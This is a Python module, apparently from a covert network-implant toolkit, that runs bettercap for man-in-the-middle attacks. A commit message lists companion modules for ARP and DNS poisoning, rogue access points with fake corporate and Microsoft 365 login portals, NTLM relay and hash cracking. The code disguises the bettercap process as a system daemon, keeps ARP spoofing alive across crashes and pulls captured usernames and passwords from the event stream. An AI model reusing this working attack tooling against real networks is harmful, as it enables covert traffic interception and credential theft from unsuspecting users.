ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
516 lines
18 KiB
Python
516 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
"""Central bettercap orchestrator — single instance, shared by all active modules.
|
|
|
|
Manages the bettercap subprocess lifecycle, REST API health monitoring,
|
|
event stream parsing, caplet management, and crash recovery with corrective
|
|
gratuitous ARPs.
|
|
|
|
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
|
|
route commands through this manager via run_command() and the BettercapAPI
|
|
client.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import threading
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
from utils.bettercap_api import BettercapAPI
|
|
|
|
logger = logging.getLogger("bb.active.bettercap_mgr")
|
|
|
|
|
|
class BettercapManager(BaseModule):
|
|
"""Central bettercap instance manager.
|
|
|
|
Responsibilities:
|
|
- Start/stop bettercap with random per-session API credentials
|
|
- Health monitoring via GET /api/session every 10s
|
|
- Auto-restart on crash (max 3) with caplet re-application
|
|
- Crash recovery: gratuitous ARP correction if spoofing was active
|
|
- Parse event stream for credentials and host discoveries
|
|
- Caplet management: load/unload/switch from config/caplets/
|
|
- Process disguise coordination
|
|
"""
|
|
|
|
name = "bettercap_mgr"
|
|
module_type = "active"
|
|
priority = 50
|
|
requires_root = True
|
|
|
|
HEALTH_POLL_INTERVAL = 10 # seconds
|
|
EVENT_POLL_INTERVAL = 5 # seconds
|
|
MAX_CRASH_RESTARTS = 3
|
|
RESTART_WINDOW = 15 # seconds — restart within this window after crash
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._api: Optional[BettercapAPI] = None
|
|
self._proc: Optional[subprocess.Popen] = None
|
|
self._health_thread: Optional[threading.Thread] = None
|
|
self._event_thread: Optional[threading.Thread] = None
|
|
self._crash_count = 0
|
|
self._last_event_id = 0
|
|
self._active_caplet: Optional[str] = None
|
|
self._spoofing_active = False
|
|
self._spoof_targets: Optional[str] = None
|
|
self._spoof_gateway: Optional[str] = None
|
|
self._arp_disabled_by_crash = False
|
|
self._lock = threading.Lock()
|
|
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
|
|
self._iface = config.get("interface", "eth0")
|
|
self._api_host = "127.0.0.1"
|
|
self._api_port = config.get("bettercap_api_port", 8083)
|
|
self._caplet_dir = config.get(
|
|
"caplet_dir",
|
|
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
|
|
)
|
|
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
# Initialise REST API client with fresh random credentials
|
|
self._api = BettercapAPI(
|
|
host=self._api_host,
|
|
port=self._api_port,
|
|
)
|
|
|
|
if not self._start_bettercap():
|
|
logger.error("Failed to start bettercap subprocess")
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
self._crash_count = 0
|
|
|
|
# Health monitoring thread
|
|
self._health_thread = threading.Thread(
|
|
target=self._health_loop, daemon=True, name="bb-bcap-health"
|
|
)
|
|
self._health_thread.start()
|
|
|
|
# Event stream parser thread
|
|
self._event_thread = threading.Thread(
|
|
target=self._event_loop, daemon=True, name="bb-bcap-events"
|
|
)
|
|
self._event_thread.start()
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
|
logger.info(
|
|
"BettercapManager started (api=%s:%d, iface=%s)",
|
|
self._api_host, self._api_port, self._iface,
|
|
)
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
self._running = False
|
|
|
|
# Stop ARP spoofing cleanly before shutdown
|
|
if self._spoofing_active:
|
|
try:
|
|
self._api.run("arp.spoof off")
|
|
except Exception:
|
|
pass
|
|
self._spoofing_active = False
|
|
|
|
self._stop_bettercap()
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("BettercapManager stopped")
|
|
|
|
def status(self) -> dict:
|
|
alive = self._proc is not None and self._proc.poll() is None
|
|
return {
|
|
"running": self._running and alive,
|
|
"pid": self._get_proc_pid(),
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"crash_count": self._crash_count,
|
|
"spoofing_active": self._spoofing_active,
|
|
"active_caplet": self._active_caplet,
|
|
"arp_disabled_by_crash": self._arp_disabled_by_crash,
|
|
"api_port": self._api_port,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
if "interface" in config:
|
|
self._iface = config["interface"]
|
|
|
|
def health_check(self) -> bool:
|
|
if not self._running:
|
|
return False
|
|
if self._api is None:
|
|
return False
|
|
try:
|
|
return self._api.is_alive()
|
|
except Exception:
|
|
return False
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API — used by other active modules
|
|
# ------------------------------------------------------------------
|
|
|
|
def run_command(self, cmd: str) -> dict:
|
|
"""Execute a bettercap command via REST API.
|
|
|
|
Args:
|
|
cmd: bettercap command string (e.g., "arp.spoof on")
|
|
|
|
Returns:
|
|
API response dict.
|
|
|
|
Raises:
|
|
ConnectionError: If bettercap is unreachable.
|
|
"""
|
|
if self._api is None:
|
|
raise ConnectionError("BettercapManager not started")
|
|
return self._api.run(cmd)
|
|
|
|
def load_caplet(self, name: str) -> dict:
|
|
"""Load a caplet from the caplet directory.
|
|
|
|
Args:
|
|
name: Caplet filename (e.g., "passive_recon.cap").
|
|
|
|
Returns:
|
|
API response dict.
|
|
"""
|
|
caplet_path = os.path.join(self._caplet_dir, name)
|
|
if not os.path.isfile(caplet_path):
|
|
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
|
|
result = self._api.load_caplet(caplet_path)
|
|
self._active_caplet = name
|
|
self.state.set(self.name, "active_caplet", name)
|
|
logger.info("Loaded caplet: %s", name)
|
|
return result
|
|
|
|
def get_hosts(self) -> list:
|
|
"""Return discovered hosts from bettercap session."""
|
|
if self._api is None:
|
|
return []
|
|
try:
|
|
return self._api.get_hosts()
|
|
except Exception:
|
|
return []
|
|
|
|
def is_spoofing(self) -> bool:
|
|
"""Return True if ARP spoofing is currently active."""
|
|
return self._spoofing_active
|
|
|
|
def set_spoofing_state(self, active: bool, targets: str = None,
|
|
gateway: str = None) -> None:
|
|
"""Track ARP spoofing state for crash recovery."""
|
|
with self._lock:
|
|
self._spoofing_active = active
|
|
self._spoof_targets = targets
|
|
self._spoof_gateway = gateway
|
|
|
|
def get_api(self) -> Optional[BettercapAPI]:
|
|
"""Return the BettercapAPI client instance."""
|
|
return self._api
|
|
|
|
# ------------------------------------------------------------------
|
|
# Subprocess management
|
|
# ------------------------------------------------------------------
|
|
|
|
def _start_bettercap(self) -> bool:
|
|
"""Launch bettercap subprocess with REST API."""
|
|
cmd = [
|
|
self._binary,
|
|
"-iface", self._iface,
|
|
"-no-history",
|
|
] + self._api.api_flags
|
|
|
|
env = dict(os.environ)
|
|
|
|
try:
|
|
self._proc = subprocess.Popen(
|
|
cmd,
|
|
stdout=subprocess.PIPE,
|
|
stderr=subprocess.PIPE,
|
|
env=env,
|
|
preexec_fn=self._make_preexec(self._disguise_name),
|
|
)
|
|
except FileNotFoundError:
|
|
logger.error("bettercap binary not found: %s", self._binary)
|
|
return False
|
|
except Exception as e:
|
|
logger.error("Failed to start bettercap: %s", e)
|
|
return False
|
|
|
|
# Wait for API to become available (up to 15s)
|
|
deadline = time.time() + 15
|
|
while time.time() < deadline:
|
|
if self._api.is_alive():
|
|
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
|
|
return True
|
|
time.sleep(0.5)
|
|
|
|
logger.error("bettercap API did not become ready within 15s")
|
|
self._stop_bettercap()
|
|
return False
|
|
|
|
def _stop_bettercap(self) -> None:
|
|
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
|
|
proc = self._proc
|
|
if proc is None or proc.poll() is not None:
|
|
self._proc = None
|
|
return
|
|
|
|
try:
|
|
proc.terminate()
|
|
except OSError:
|
|
pass
|
|
|
|
try:
|
|
proc.wait(timeout=5.0)
|
|
except subprocess.TimeoutExpired:
|
|
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
|
|
try:
|
|
proc.kill()
|
|
proc.wait(timeout=2.0)
|
|
except Exception:
|
|
pass
|
|
|
|
self._proc = None
|
|
|
|
def _get_proc_pid(self) -> Optional[int]:
|
|
if self._proc and self._proc.poll() is None:
|
|
return self._proc.pid
|
|
return None
|
|
|
|
# ------------------------------------------------------------------
|
|
# Crash recovery
|
|
# ------------------------------------------------------------------
|
|
|
|
def _handle_crash(self) -> None:
|
|
"""Handle bettercap crash: corrective ARPs, then restart.
|
|
|
|
If ARP spoofing was active, immediately send corrective gratuitous
|
|
ARPs to restore network state. Disable ARP spoofing after 3 crashes
|
|
to prevent a crash loop from disrupting the network.
|
|
"""
|
|
self._crash_count += 1
|
|
logger.warning(
|
|
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
|
|
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
|
|
)
|
|
|
|
self.bus.emit(
|
|
"TOOL_CRASHED",
|
|
{
|
|
"tool": "bettercap",
|
|
"crash_count": self._crash_count,
|
|
"spoofing_active": self._spoofing_active,
|
|
},
|
|
source_module=self.name,
|
|
)
|
|
|
|
# Send corrective gratuitous ARPs if spoofing was active
|
|
if self._spoofing_active and self._spoof_gateway:
|
|
self._send_corrective_arps()
|
|
|
|
# Disable ARP spoof after max crashes to break crash loops
|
|
if self._crash_count >= self.MAX_CRASH_RESTARTS:
|
|
if self._spoofing_active:
|
|
logger.error(
|
|
"ARP spoof disabled after %d crashes — network stability risk",
|
|
self._crash_count,
|
|
)
|
|
self._arp_disabled_by_crash = True
|
|
self._spoofing_active = False
|
|
self.state.set(self.name, "arp_disabled_by_crash", "true")
|
|
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "crashed")
|
|
return
|
|
|
|
# Restart bettercap within RESTART_WINDOW
|
|
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
|
|
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
|
|
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
|
|
time.sleep(backoff)
|
|
|
|
if self._start_bettercap():
|
|
logger.info("bettercap restarted successfully")
|
|
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
|
|
|
|
# Re-apply active caplet
|
|
if self._active_caplet:
|
|
try:
|
|
self.load_caplet(self._active_caplet)
|
|
except Exception:
|
|
logger.exception("Failed to re-apply caplet after restart")
|
|
|
|
# Re-enable ARP spoofing if it was active and not disabled
|
|
if self._spoofing_active and not self._arp_disabled_by_crash:
|
|
try:
|
|
if self._spoof_targets:
|
|
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
|
|
self._api.run("arp.spoof on")
|
|
logger.info("ARP spoofing re-enabled after restart")
|
|
except Exception:
|
|
logger.exception("Failed to re-enable ARP spoof after restart")
|
|
else:
|
|
logger.error("bettercap restart failed")
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "crashed")
|
|
|
|
def _send_corrective_arps(self) -> None:
|
|
"""Send corrective gratuitous ARPs to restore network after crash.
|
|
|
|
Uses scapy to send a few gratuitous ARP packets with the real
|
|
gateway MAC to undo any poisoned ARP caches.
|
|
"""
|
|
try:
|
|
from scapy.all import ARP, Ether, sendp, getmacbyip
|
|
except ImportError:
|
|
logger.warning("scapy not available — cannot send corrective ARPs")
|
|
return
|
|
|
|
gateway = self._spoof_gateway
|
|
if not gateway:
|
|
return
|
|
|
|
try:
|
|
gw_mac = getmacbyip(gateway)
|
|
if not gw_mac:
|
|
logger.warning("Could not resolve gateway MAC for corrective ARPs")
|
|
return
|
|
|
|
# Gratuitous ARP: gateway telling everyone its real MAC
|
|
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
|
|
op=2, # is-at
|
|
psrc=gateway,
|
|
hwsrc=gw_mac,
|
|
pdst=gateway,
|
|
hwdst="ff:ff:ff:ff:ff:ff",
|
|
)
|
|
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
|
|
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
|
|
except Exception:
|
|
logger.exception("Failed to send corrective ARPs")
|
|
|
|
# ------------------------------------------------------------------
|
|
# Health monitoring loop
|
|
# ------------------------------------------------------------------
|
|
|
|
def _health_loop(self) -> None:
|
|
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
|
|
while self._running:
|
|
time.sleep(self.HEALTH_POLL_INTERVAL)
|
|
if not self._running:
|
|
break
|
|
|
|
# Check if process is still alive
|
|
if self._proc and self._proc.poll() is not None:
|
|
self._handle_crash()
|
|
continue
|
|
|
|
# Check API responsiveness
|
|
try:
|
|
if not self._api.is_alive():
|
|
logger.warning("bettercap API unresponsive — checking process")
|
|
if self._proc and self._proc.poll() is not None:
|
|
self._handle_crash()
|
|
except Exception:
|
|
logger.exception("Health check error")
|
|
|
|
# ------------------------------------------------------------------
|
|
# Event stream parser
|
|
# ------------------------------------------------------------------
|
|
|
|
def _event_loop(self) -> None:
|
|
"""Poll bettercap event stream for credentials and host discoveries."""
|
|
while self._running:
|
|
time.sleep(self.EVENT_POLL_INTERVAL)
|
|
if not self._running:
|
|
break
|
|
|
|
try:
|
|
events = self._api.get_events(since=self._last_event_id)
|
|
except Exception:
|
|
continue
|
|
|
|
for event in events:
|
|
self._last_event_id += 1
|
|
self._process_event(event)
|
|
|
|
def _process_event(self, event: dict) -> None:
|
|
"""Parse a single bettercap event and emit bus events as needed."""
|
|
tag = event.get("tag", "")
|
|
data = event.get("data", {})
|
|
|
|
# Credential captures from HTTP proxy, net.sniff, etc.
|
|
if tag in ("net.sniff.credentials", "http.proxy.credentials",
|
|
"https.proxy.credentials"):
|
|
self._handle_credential_event(data)
|
|
|
|
# Host discovery events
|
|
elif tag in ("endpoint.new", "endpoint.detected"):
|
|
self._handle_host_event(data)
|
|
|
|
# Module status events
|
|
elif tag.startswith("mod."):
|
|
logger.debug("bettercap module event: %s", tag)
|
|
|
|
def _handle_credential_event(self, data: dict) -> None:
|
|
"""Emit CREDENTIAL_FOUND for captured credentials."""
|
|
payload = {
|
|
"source_module": self.name,
|
|
"source_ip": data.get("from", ""),
|
|
"target_ip": data.get("to", ""),
|
|
"target_service": data.get("proto", "unknown"),
|
|
"username": data.get("username", ""),
|
|
"credential_type": data.get("type", "cleartext"),
|
|
"credential_value": data.get("password", data.get("hash", "")),
|
|
"raw_data": data,
|
|
}
|
|
self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name)
|
|
logger.info(
|
|
"Credential captured: %s@%s (%s)",
|
|
payload["username"], payload["target_ip"], payload["target_service"],
|
|
)
|
|
|
|
def _handle_host_event(self, data: dict) -> None:
|
|
"""Emit HOST_DISCOVERED for new network hosts."""
|
|
payload = {
|
|
"source_module": self.name,
|
|
"ip": data.get("ipv4", data.get("addr", "")),
|
|
"mac": data.get("mac", ""),
|
|
"hostname": data.get("hostname", ""),
|
|
"vendor": data.get("vendor", ""),
|
|
"os": data.get("os", ""),
|
|
"raw_data": data,
|
|
}
|
|
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Helpers
|
|
# ------------------------------------------------------------------
|
|
|
|
@staticmethod
|
|
def _make_preexec(disguise_name: str):
|
|
"""Return a preexec_fn that renames the process via prctl."""
|
|
def _preexec():
|
|
try:
|
|
import ctypes
|
|
libc = ctypes.CDLL("libc.so.6", use_errno=True)
|
|
PR_SET_NAME = 15
|
|
name_bytes = disguise_name[:15].encode("utf-8")
|
|
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
|
|
except Exception:
|
|
pass
|
|
return _preexec
|